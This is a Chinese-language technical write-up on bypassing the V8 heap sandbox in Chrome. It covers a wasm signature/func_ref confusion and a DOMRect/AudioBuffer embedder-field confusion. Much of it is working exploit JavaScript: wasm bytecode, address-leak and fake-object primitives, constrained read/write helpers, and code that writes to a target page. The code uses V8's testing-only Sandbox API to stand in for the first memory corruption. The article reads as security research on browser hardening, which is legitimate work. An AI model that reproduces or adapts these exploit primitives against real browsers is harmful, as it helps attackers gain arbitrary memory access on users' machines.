V8堆沙箱绕过方法分析总结

一、What is Sandbox

沙箱机制(Sandboxing)是一种安全技术,用来隔离运行中的应用程序或代码,使其在受限的环境中执行。这种机制的目的是限制应用程序或代码与系统资源(如文件系统、网络、硬件)的直接交互,从而防止恶意软件或不受信任的代码造成安全威胁或数据泄露。

当提到chrome沙箱时通常会想到的是用于限制应用程序或代码与系统资源的直接交互的沙箱,而在实际的漏洞利用层面内存安全仍然是一个重要问题,在众多chrome可利用的漏洞中,v8漏洞可以说占到大多数,而V8漏洞很少是“经典”的内存损坏错误(释放后使用、越界访问等),而是微妙的逻辑问题,反过来再利用这些问题来损坏内存。因此,现有的内存安全解决方案在很大程度上并不适用于V8,于是在此背景下衍生出了v8 Sandbox。本文主要对v8 sandbox的一些绕过方法进行汇总分析。

二、V8 Sandbox

V8沙箱是一个基于软件的沙箱,其背后的基本思想是隔离 V8堆内存,使任何内存损坏都不会“扩散”到进程内存的其他部分,从而增加v8漏洞的利用难度。具体实现方式有两种: 第一种,如果buffer位于沙盒内,就将40位的地址偏移左移24位后得到的64位结果写入相应字段地址中:

  • disable sandbox:
  • enable sandbox:

通过对%DebugPrint具体的实现代码下断,可以找到具体的decode过程,首先从指定字段地址出得到64位值(sandboxed_pointer),再将sandboxed_pointer右移24位(kSandboxedPointerShift)得到偏移(offset),最后将offset与基址(cage_base)相加得到真实的地址指针:

第二种,如果buffer位于沙盒外,则会将指定字段地址内的值作为索引,通过指针表间接的引用buffer:

例如blink对象,在v8中所有的blink对象都分配在v8堆外,并以api对象的形式在v8中表示:

V8 api对象实际上是blink对象的包装器,其中embedder fields字段存储内容用实际为一个表索引,此索引位置保存着对应的blink对象的实际地址及其类型:

同样也可以通过对%DebugPrint实现下断找到具体的decode过程:

三、V8 Sandbox Breaking

3.1 signature confusion breaking sandbox

在V8 webassembly中,wasm模块导出函数主要由函数签名(signature)和函数实现(call_target)组成,假设有以下代码,此代码可以导出read_0read_1两个函数:

(module
	(memory 1)
	(func $read_0 (export "read_0")  
		(param $offset i32)
		(result i64)  
		(i64.load  
			(local.get $offset)
		)  
	)  
	(func $read_1 (export "read_1")  
		(param $var1 i64)  
		(result i64)  
		i64.const 0  
	)  
)

在js代码中使用read_0(0x41)触发对read_0函数的调用,然后对Builtins_JSToWasmWrapper下断可以得到signaturecall_target的获取过程:

  1. 先通过函数对象获取shared_info字段,其中r14寄存器存的一直都是基地址,而rdi则是函数对象地址:
  1. 通过shared_info字段得到function_data

3. 通过function_data获取signaturesignature对象不在沙盒中,所以是通过外部表的形式间接引用的,所以此处得到的是一个表索引:

4. 通过function_data获取func_ref

通过func_ref可以得到internalinternal是一个外部对象,而call_target就在internal中并且也是一个外部对象,所以都只能得到一个表索引:

最后Builtins_JSToWasmWrapperAsm函数会通过call rdx进入call_target指向的地址,在通过几个Jmp后会进入真实的jited代码,rax为传入的地址偏移:

总结整个获取过程大致就是:function -> shared_info -> function_data -> func_ref -> internal -> call_target

通过调试会发现signaturecall_target并没有太多的联系,而wasm导出函数的参数类型,及其后面的返回值类型声明列表由signature来决定,而对类型的检查也是在builtins函数中,所以在调用call_target时会直接将参数传入:

所以如果将read_0read_1call_target进行混淆那在调用read_1函数时就可以实现64位地址空间的读取,在前面的分析中可知call_target是沙盒外对象,所以只能得到一个表索引无法直接读取到call_target对象地址,不过func_ref在沙盒内,可以直接将read_0func_ref写入read_1

还有一个问题,那就是read_0call_target代码在从内存中读取内容时还会与rcx也就是(memory 1)代码中申请的线性内存地址的基址相加,这个线性内存地址实际为一个arraybuffer对象的backing_store:

通过前面第一章对JSArrayBuffer backing_store对象的说明,可以提前得到rcx中的值,当然得到的是其偏移地址,而基地址可以用Uint32Array对象来泄露,用泄露出的基地址加偏移地址就可以得到真实的backing_store地址,现在用我们要读写的64位地址减去backing_store地址,再将结果传入对应的读写函数就可以实现64位地址空间读写。 为方便解释,以下所有代码示例将通过sandbox对象来实现双数组混淆来实现读写原语的构造,此对象主要用对沙箱的测试,在稳定版中不可用,官方说明:V8 Sandbox – Readme (googlesource.com)。 以下wasm代码与开头的类似,为了方便构造写原语我又添加了oob_writedo_write函数:

/*
(module
  (memory (export "wmemory") 1) ;;64KB memory chunk

  (func $oob_write (export "oob_write")
    (param $var1 i64)
    (param $var2 i64)
    nop
  )

  (func $oob_read (export "oob_read")
    (param $var1 i64)
	(result i64)
	i64.const 0
  )

  (func $do_write (export "do_write")
    (param $offset i32)  ;; Offset within memory
    (param $value i64)   ;; 64-bit integer to write
    (i64.store
      (local.get $offset)  ;; Get the memory offset
      (local.get $value)   ;; Get the i64 value
    )
  )

  (func $do_read (export "do_read")
    (param $offset i32)  ;; Offset within memory
	(result i64)
    (i64.load
      (local.get $offset)  ;; Get the memory offset
    )
  )
)
*/

之后将转换为二进制数的wasm代码放入数组中,以便于将函数导入到js代码中调用:


const u32array = new Uint32Array([1.1, 2.2, 3.3]);
var wasm_code = new Uint8Array([
  0x00, 0x61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x15, 0x04, 0x60, 0x02, 0x7E, 0x7E, 0x00,
  0x60, 0x01, 0x7E, 0x01, 0x7E, 0x60, 0x02, 0x7F, 0x7E, 0x00, 0x60, 0x01, 0x7F, 0x01, 0x7E, 0x03,
  0x05, 0x04, 0x00, 0x01, 0x02, 0x03, 0x05, 0x03, 0x01, 0x00, 0x01, 0x07, 0x37, 0x05, 0x07, 0x77,
  0x6D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x02, 0x00, 0x09, 0x6F, 0x6F, 0x62, 0x5F, 0x77, 0x72, 0x69,
  0x74, 0x65, 0x00, 0x00, 0x08, 0x6F, 0x6F, 0x62, 0x5F, 0x72, 0x65, 0x61, 0x64, 0x00, 0x01, 0x08,
  0x64, 0x6F, 0x5F, 0x77, 0x72, 0x69, 0x74, 0x65, 0x00, 0x02, 0x07, 0x64, 0x6F, 0x5F, 0x72, 0x65,
  0x61, 0x64, 0x00, 0x03, 0x0A, 0x1C, 0x04, 0x03, 0x00, 0x01, 0x0B, 0x04, 0x00, 0x42, 0x00, 0x0B,
  0x09, 0x00, 0x20, 0x00, 0x20, 0x01, 0x37, 0x03, 0x00, 0x0B, 0x07, 0x00, 0x20, 0x00, 0x29, 0x03,
  0x00, 0x0B 
]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var {wmemory, oob_read, oob_write, do_read, do_write} = wasm_instance.exports;

然后利用sandbox对象来完成双数组混淆,具体做法就是直接去修改数组d_arr的长度字段,将其长度修改为0x1000,此时d_arr就可以去读写o_arr数组中保存的数据内容:


class Utils{
	// ...
}
const utils = new Utils();

const sbxMem = new Sandbox.MemoryView(0, 0xFFFFFFF8);
const sbxDV = new DataView(sbxMem);
let f_arr = [2.1, 2.2];
let d_arr = [1.1, 1.2];
let o_arr = [1, 2, 3, {}];
const d_arr_len = Sandbox.getAddressOf(d_arr)+0xC;
sbxDV.setUint32(d_arr_len, 0x1000, true);

在得到两个混淆的不同类型的数组后就可以像其他v8漏洞那样构造地址泄露函数:


function leak_addr(obj){
  o_arr[0] = obj;
  return utils.ftoi(d_arr[5]) & 0xFFFFFFFFn;
}

此时我们就可以着手准备构造任意地址读写原语了,首先通过混淆数组得到double型数组的map,随后在一个新的double型数组f_arr中伪造一个假的double数组fake_obj,之后我们就可以通过f_arr去控制fake_obj的elements地址,但要注意的是因为堆沙箱的存在,被填入的elements地址将被限制在堆沙箱内存区域内:


function limit_read(addr){
  set_elements(addr, 0x2n);
  return utils.ftoi(fake_obj[0]);
}

function limit_write(addr, val){
  set_elements(addr, 0x2n);
  fake_obj[0] = utils.itof(val);
}

function get_map(){
  return utils.ftoi(d_arr[2]);
}

function get_fake_obj(){
  const f_map = get_map();
  f_arr[0] = utils.itof(f_map);
  set_elements(0x4141n, 0x2n);
  const f_arr_addr = leak_addr(f_arr);
  const f_elem_addr = f_arr_addr - 0x18n;
  const f_obj_addr = f_elem_addr + 0x8n;
  d_arr[5] = utils.itof(f_obj_addr);
  return o_arr[0];
}

function set_elements(addr, len){
  f_arr[1] = utils.itof(utils.pair(len, addr));
}

let fake_obj = get_fake_obj();

在得到读写原语与地址泄露函数后就可以通过上文中提到的方法去混淆call_target了:


function replace_func_ref(){
  do_read(0);
  do_write(0, 0n);
  oob_read(0n);
  oob_write(0n, 0n);
  // get function address
  const do_read_addr = leak_addr(do_read);
  const do_write_addr = leak_addr(do_write);
  const oob_read_addr = leak_addr(oob_read);
  const oob_write_addr = leak_addr(oob_write);
  // get function share_info
  const dr_share_info = 
    limit_read(do_read_addr+0x8n)   & 0xFFFFFFFFn;
  const dw_share_info = 
    limit_read(do_write_addr+0x8n)  & 0xFFFFFFFFn;
  const or_share_info = 
    limit_read(oob_read_addr+0x8n)  & 0xFFFFFFFFn;
  const ow_share_info = 
    limit_read(oob_write_addr+0x8n) & 0xFFFFFFFFn;
  // get function_data
  const dr_function_data = 
    limit_read(dr_share_info) & 0xFFFFFFFFn;
  const dw_function_data = 
    limit_read(dw_share_info) & 0xFFFFFFFFn;
  const or_function_data = 
    limit_read(or_share_info) & 0xFFFFFFFFn;
  const ow_function_data = 
    limit_read(ow_share_info) & 0xFFFFFFFFn;
  // get func_ref
  const or_func_ref = 
    limit_read(or_function_data) & 0xFFFFFFFFn;
  const ow_func_ref = 
    limit_read(ow_function_data) & 0xFFFFFFFFn;
  const dr_func_ref = 
    limit_read(dr_function_data) & 0xFFFFFFFFn;
  const dw_func_ref = 
    limit_read(dw_function_data) & 0xFFFFFFFFn;
  limit_write(or_function_data, dr_func_ref);
  limit_write(ow_function_data, dw_func_ref);
}

最后要注意的是,oob_write函数在向内存中写入数据时还会将传入的目标地址与wmemory堆地址相加,所以为了确保写入的地址正确,我们还需要得到wmemory堆地址,并用要写入的目标地址减去wmemory堆地址,这样在写入时就可以写入到正确的目标地址:


function get_heap_base(){
  const u32array_addr = leak_addr(u32array);
  limit_write(u32array_addr+(0x30n-0x8n), 0x0n);
  limit_write(u32array_addr+(0x38n-0x8n), 0x0n);

  limit_write(u32array_addr+(0x24n-0x8n), 0x15n);
  limit_write(u32array_addr+(0x2Cn-0x8n), 0x15n);

  const base = u32array[0x13];
  return BigInt(base)<<0x20n;
}

function get_wasm_mem(base){
  const addr = leak_addr(wmemory);
  const buffer_addr = 
    limit_read(addr+(0xCn-0x8n)) & 0xFFFFFFFFn;
  const offset_l = 
    limit_read(buffer_addr+(0x24n-0x8n)) & 0xFFFFFFFFn;
  const offset_h = 
    limit_read(buffer_addr+(0x28n-0x8n)) & 0xFFFFFFFFn;
  const offset = 
    ((BigInt(offset_h)<<0x20n) + offset_l) >> 0x18n;
  const bk_addr = base + offset;
  return bk_addr;
}

const js_heap_base = get_heap_base();
const backing_store_addr = get_wasm_mem(js_heap_base);
replace_func_ref();
const target_page = BigInt(Sandbox.targetPage);
const address = target_page - backing_store_addr;
print("[*]target_page:"+target_page.toString(16));
oob_write(address, 0x9n);

此方法在chrome 126版本之后修复,在修复程序中添加了新的IsAccessedMemoryCovered函数:

此函数先回检查目标地址是否为空,如果不是将会检查访问的目标地址是否位于沙盒内。gV8SandboxBasegV8SandboxSize也是新添加的内容,gV8SandboxBase为沙盒区域的基地址,gV8SandboxSize则是沙盒区域的大小。

3.2 blink object confusion breaking sandbox

一开始提到在v8中所有的blink对象都以外部指针表索引的形式被v8 api对象所引用,虽然外部指针表受到保护无法篡改里面的内容,但是api对象是在堆中,可以篡改api对象中的embedder fields字段,使两个blink对象产生混淆,比如将DOMRectDOMTypedArray 混淆。

DOMRect 对象只有四个属性:xywidthheight,访问这些属性本质上只是对相应对象的指定偏移进行读写,如果DOMRectDOMTypedArray 发生了混淆,那就可以通过DOMRect 中的属性字段自由控制DOMTypedArray对象的backing_store指针,该指针用于指向DOMTypedArray实际的数据存储区域,可以将此指针覆盖修改为其他任意64位地址指针从而实现64位地址空间读写。 先创建要被混淆的DOMRectDOMTypedArray


const domRect = new DOMRect(1.1,2.3,3.3,4.4);
const node = 
	new AudioBuffer({
		length: 3000, 
		sampleRate: 30000, 
		numberOfChannels : 2
	});
const channel = node.getChannelData(0);

此处与上一种方法相同,同样使用sandbox构造堆读写原语,不再进行说明:


const sbxMem = new Sandbox.MemoryView(0, 0xFFFFFFF8);
const sbxDV = new DataView(sbxMem);
let f_arr = [2.1, 2.2];
let d_arr = [1.1, 1.2];
let o_arr = [1, 2, 3, {}];
const d_arr_len = Sandbox.getAddressOf(d_arr)+0xC;
sbxDV.setUint32(d_arr_len, 0x1000, true);

function leak_addr(obj){
  o_arr[0] = obj;
  return utils.ftoi(d_arr[5]) & 0xFFFFFFFFn;
}

function limit_read(addr){
  set_elements(addr, 0x2n);
  return utils.ftoi(fake_obj[0]);
}

function limit_write(addr, val){
  set_elements(addr, 0x2n);
  fake_obj[0] = utils.itof(val);
}

function get_map(){
  return utils.ftoi(d_arr[2]);
}

function get_fake_obj(){
  const f_map = get_map();
  f_arr[0] = utils.itof(f_map);
  set_elements(0x4141n, 0x2n);
  const f_arr_addr = leak_addr(f_arr);
  const f_elem_addr = f_arr_addr - 0x18n;
  const f_obj_addr = f_elem_addr + 0x8n;
  d_arr[5] = utils.itof(f_obj_addr);
  return o_arr[0];
}

function set_elements(addr, len){
  f_arr[1] = utils.itof(utils.pair(len, addr));
}

最后将DOMRectDOMTypedArray 进行混淆:


function get_embedder_fields(addr, offset){
	let ret = [];
	let res = limit_read(addr+offset);
	ret[0] = res & 0xFFFFFFFFn
	ret[1] = (res & 0xFFFFFFFF00000000n) >> 0x20n;
	return ret;
}

function confusion_embedder(addr, offset, ef){
	limit_write(addr+offset, ef[0]);
	limit_write(addr+offset+0x8n, ef[1]);
}

let fake_obj = get_fake_obj();
const DOMRECT_EMBEDDER_OFFSET = 0x10n;
const CHANNEL_EMBEDDER_OFFSET = 0x3Cn

const domRect_addr = leak_addr(domRect);
const channel_addr = leak_addr(channel);
const channel_ef = get_embedder_fields(
	channel_addr, CHANNEL_EMBEDDER_OFFSET);
const target_page = BigInt(Sandbox.targetPage);

confusion_embedder(
	domRect_addr, 
	DOMRECT_EMBEDDER_OFFSET, 
	channel_ef);
domRect.x = utils.itof(target_page);
const view = new ArrayBuffer(24);
const src = new Float32Array(view);
src[0] = 9.999;
node.copyToChannel(src, 0, 0);

此方法至少在chrome 126版本之前都可用。

四、Conclusion

尽管 V8 引擎在其设计中引入了沙箱机制以增强安全性,但攻击者仍然能够通过复杂的对象混淆和内存操控来打破沙箱的边界。因此,在未来的安全研究中,如何更好地隔离这些敏感数据对象以及如何进一步优化沙箱设计将成为研究重点。